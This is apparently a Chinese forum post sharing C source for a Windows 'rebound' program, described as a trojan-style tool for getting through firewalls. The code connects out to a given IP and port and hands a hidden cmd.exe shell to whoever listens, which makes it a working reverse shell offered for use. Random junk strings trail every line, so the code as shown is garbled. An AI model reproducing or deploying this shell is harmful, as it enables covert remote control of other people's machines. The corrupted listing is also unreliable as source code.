这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8[^'PIz
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/* ============================== Szu s*YL7
Rebound port in Windows NT M `xiC
By wind,2006/7 ,$P,x
===============================*/ FR&`R
#include 1H)mJVIKkB
#include 4w4B\Na>l
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#pragma comment(lib,"wsock32.lib") VJh8`PVX
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void OutputShell(); jN=<dq
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SOCKET sClient; P&-o>mM
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <Au2e
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void main(int argc,char **argv) ]S|FK>U[
{ niVR!l
WSADATA stWsaData; wb-yAQ8
int nRet; 7*/{m K)
SOCKADDR_IN stSaiClient,stSaiServer; =W(*0"RM
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if(argc != 3) 4ls:BO;k]
{ *6uccx7{
printf("Useage:\n\rRebound DestIP DestPort\n"); ?GhyVXS y.
return; "tK%]c d-
} :FyF:=
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WSAStartup(MAKEWORD(2,2),&stWsaData); K%(y<%Xp
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5{Cz!ut;tE
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stSaiClient.sin_family = AF_INET; P T"}2sR)
stSaiClient.sin_port = htons(0); }Q7y tE
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4#U}bN
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) R[WiW RfD
{ 9g9 2eKS
printf("Bind Socket Failed!\n"); 2wf&jGHs
return; 2[E wN!IZ
} jm_-f
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stSaiServer.sin_family = AF_INET; *bkb-nKw
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); N<EVs.7
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +)]YvZ6%[,
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :Pud%}'
{ c:R?da
printf("Connect Error!"); J~YT~D2L
return; "gM^o
} >rnVTK
OutputShell(); Z$oy;j99y
} |WS)KR !
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void OutputShell() FLZ9pb[T
{ }D/+YG
char szBuff[1024]; '\Xkvi
SECURITY_ATTRIBUTES stSecurityAttributes; EM,C
OSVERSIONINFO stOsversionInfo; MB plhVK8
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "kg`TJf=
STARTUPINFO stStartupInfo; 7#8Gn=g
char *szShell; =x~I'|%3
PROCESS_INFORMATION stProcessInformation; pwUXM?$R
unsigned long lBytesRead; eH&F gmU
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GW2\YU^{
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); P
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stSecurityAttributes.lpSecurityDescriptor = 0; Sb.8d]DW
stSecurityAttributes.bInheritHandle = TRUE; :t?B)
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); =TB_|`5;j
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [^H2'&]
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); F_-Lu]*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j!;LN)s@?
stStartupInfo.wShowWindow = SW_HIDE; 3f;=#|l
stStartupInfo.hStdInput = hReadPipe; <,d550GSm
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 37AVk`a
7]{g^g.9-
GetVersionEx(&stOsversionInfo); j;x()iZ<
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switch(stOsversionInfo.dwPlatformId) P<<$o-a"
{ #h5:b`fDF
case 1: A|A~$v("R
szShell = "command.com"; HDVimoOq
break; bMH~vR
default: {@Wv@H+4
szShell = "cmd.exe"; %idBR7?`g
break; 7Q
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} gLiJ&H
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Z9{~t
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send(sClient,szMsg,77,0); ?W/.'_
while(1) 5'%I4@Qn+
{ O&%'j
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); r924!zdbR
if(lBytesRead) %L|fTndKH
{ HR>Y?B{
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); p8Vqy-:
send(sClient,szBuff,lBytesRead,0); =C %)(|
} bQ<qdGa
else sqkWQ`Ur
{ ~uQ*u.wi
lBytesRead=recv(sClient,szBuff,1024,0); )'shpRB;1
if(lBytesRead<=0) break; Spm 0`
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6F\ 6,E
} V&mkS
} I16FVdUun4
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return; ]4:QqdV
}